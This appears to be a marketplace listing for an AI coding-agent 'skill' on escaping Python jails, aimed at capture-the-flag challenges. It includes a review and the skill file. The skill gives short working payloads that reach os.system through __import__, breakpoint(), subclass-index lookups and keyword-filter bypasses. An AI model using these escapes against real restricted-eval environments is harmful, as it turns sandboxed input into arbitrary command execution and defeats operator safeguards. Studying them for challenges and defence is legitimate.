Python Jail Escape

VerifiedCaution

Techniques to escape Python sandbox restrictions. Use in restricted eval/exec environments, sandbox escapes, or jail challenges.

Sby Skills Guide Bot
SecurityAdvanced
007/23/2026
Claude Code
#python#sandbox-escape#jail#security#payloads

Recommended for

Our review

This skill helps escape Python sandbox restrictions by employing various bypass techniques to execute arbitrary commands or read files.

Strengths

  • Provides a quick reference with common escape payloads and class hierarchy exploitation.
  • Includes detailed reference files for bypass techniques and complete payloads.
  • Offers debugging tips to identify useful class indices and available builtins.

Limitations

  • Class indices depend on Python version, requiring manual adjustment.
  • Does not cover all possible filter types (e.g., character blacklists, length limits).
  • Assumes the environment still allows some form of Python code execution (eval/exec).
When to use it

Use this skill when you need to execute commands or access resources in a Python environment with sandbox restrictions (jail).

When not to use it

Do not use if restrictions are extremely tight (no eval/exec, heavy filtering) or if you are not dealing with a Python sandbox.

Security analysis

Caution
Quality score85/100

The skill provides a variety of Python code snippets for escaping restricted eval/exec environments, which can lead to arbitrary command execution. While intended for legitimate security testing, such capabilities are powerful and could cause harm if used inappropriately.

Findings
  • enables arbitrary command execution via Python's os.system and other escapes
  • could be used to bypass security restrictions in production if misused

Examples

Basic jail escape
I have a Python jail that allows eval but blocks '__import__' and 'os'. How can I run a system command to read 'flag.txt'?
Bypass keyword filters
The jail blocks the word 'system' and 'import'. Help me construct a payload using concatenation or chr() to execute 'cat flag.txt'.
Find class index for subclasses
I need to use the class hierarchy to access subclasses and find one with 'popen' or 'wrap' to execute commands. Show me how to enumerate and find the right index.

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Related skills